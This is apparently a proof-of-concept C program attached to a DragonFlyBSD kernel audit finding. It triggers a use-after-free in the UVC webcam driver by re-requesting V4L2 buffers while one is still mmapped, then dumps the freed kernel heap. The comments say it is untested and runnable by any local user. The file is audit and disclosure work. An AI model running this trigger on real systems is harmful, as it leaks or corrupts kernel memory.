DragonFlyBSD Kernel Audit
DF-1065 / poc_uvc_uaf.c
← back to finding ↓ download raw
/*
 * DF-1065 trigger: UVC buffer-queue use-after-free.
 *
 *   uvc_buf_queue_free_bufs_locked() kfrees bq->mem while userspace still
 *   holds an mmap() of it; the device pager's wired fictitious page keeps
 *   pointing at the now-freed (and slab-reusable) kernel pages.
 *
 * Trigger (V4L2 REQBUFS path):
 *   open /dev/video0 -> S_FMT (acquire priority) -> REQBUFS(count=1) ->
 *   mmap + touch (fault in wired fictitious page) -> REQBUFS again (kfree old
 *   bq->mem) -> read/write the mmap'd region => kernel heap UAF.
 *
 * PRECONDITION: a UVC camera must be attached so that /dev/video0 exists and
 * the uvc.ko module is loaded (uvc attaches on device probe).  This guest has
 * NO USB camera and no /dev/video*, so the trigger cannot run here; this file
 * documents the intended trigger for a HW-equipped host.  The bug is confirmed
 * by source trace (see VERDICT.md).
 *
 * build: cc -o poc_uvc_uaf poc_uvc_uaf.c
 * run:   ./poc_uvc_uaf            # as any local user (/dev/videoN is 0666)
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

/* Minimal V4L2 definitions (avoid pulling the contrib header path). */
#define V4L2_BUF_TYPE_VIDEO_CAPTURE 1
#define V4L2_MEMORY_MMAP            1
#define VIDIOC_S_FMT                0xC0CC5605U
#define VIDIOC_REQBUFS              0xC0CC5608U
#define VIDIOC_QUERYBUF             0xC0445624U

struct v4l2_format { unsigned char _opaque[2048]; };

struct v4l2_requestbuffers {
	unsigned int  count;
	unsigned int  type;
	unsigned int  memory;
	unsigned char _reserved[200];
};

struct v4l2_buffer {
	unsigned int  index;
	unsigned int  type;
	unsigned int  bytesused;
	unsigned int  flags;
	unsigned int  field;
	unsigned long timestamp_tv_sec;
	unsigned long timestamp_tv_usec;
	struct { unsigned int a, b; } timecode;
	unsigned int  sequence;
	unsigned int  memory;
	union { unsigned int offset; unsigned long userptr; } m;
	unsigned int  length;
	unsigned int  reserved2;
	unsigned int  reserved;
};

int main(void)
{
	int fd = open("/dev/video0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/video0");
		return 1;
	}

	struct v4l2_format f;
	memset(&f, 0, sizeof(f));
	ioctl(fd, VIDIOC_S_FMT, &f);            /* acquire priority */

	struct v4l2_requestbuffers rb;
	memset(&rb, 0, sizeof(rb));
	rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	rb.memory = V4L2_MEMORY_MMAP;
	rb.count = 1;
	if (ioctl(fd, VIDIOC_REQBUFS, &rb) < 0) {  /* allocate bq->mem */
		perror("REQBUFS #1");
		return 1;
	}

	struct v4l2_buffer b;
	memset(&b, 0, sizeof(b));
	b.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	b.memory = V4L2_MEMORY_MMAP;
	b.index = 0;
	if (ioctl(fd, VIDIOC_QUERYBUF, &b) < 0) {  /* learn m.offset / length */
		perror("QUERYBUF");
		return 1;
	}

	void *p = mmap(NULL, b.length, PROT_READ | PROT_WRITE, MAP_SHARED,
		       fd, b.m.offset);
	if (p == MAP_FAILED) {
		perror("mmap");
		return 1;
	}
	volatile char c = *(volatile char *)p;   /* fault in wired fictitious page */
	(void)c;

	/* Re-enter REQBUFS: uvc_buf_queue_req_bufs calls
	 * uvc_buf_queue_free_bufs_locked() which kfrees the OLD bq->mem that
	 * `p` still maps. */
	rb.count = 1;
	ioctl(fd, VIDIOC_REQBUFS, &rb);

	/* `p` now references freed kernel heap: info leak (read) / corruption
	 * (write) depending on what the slab allocator reclaims the pages for. */
	printf("[*] mmap'd region now references freed kernel heap:\n");
	for (unsigned int i = 0; i < b.length && i < 64; i++)
		printf("%02x ", ((unsigned char *)p)[i]);
	printf("\n");

	close(fd);
	return 0;
}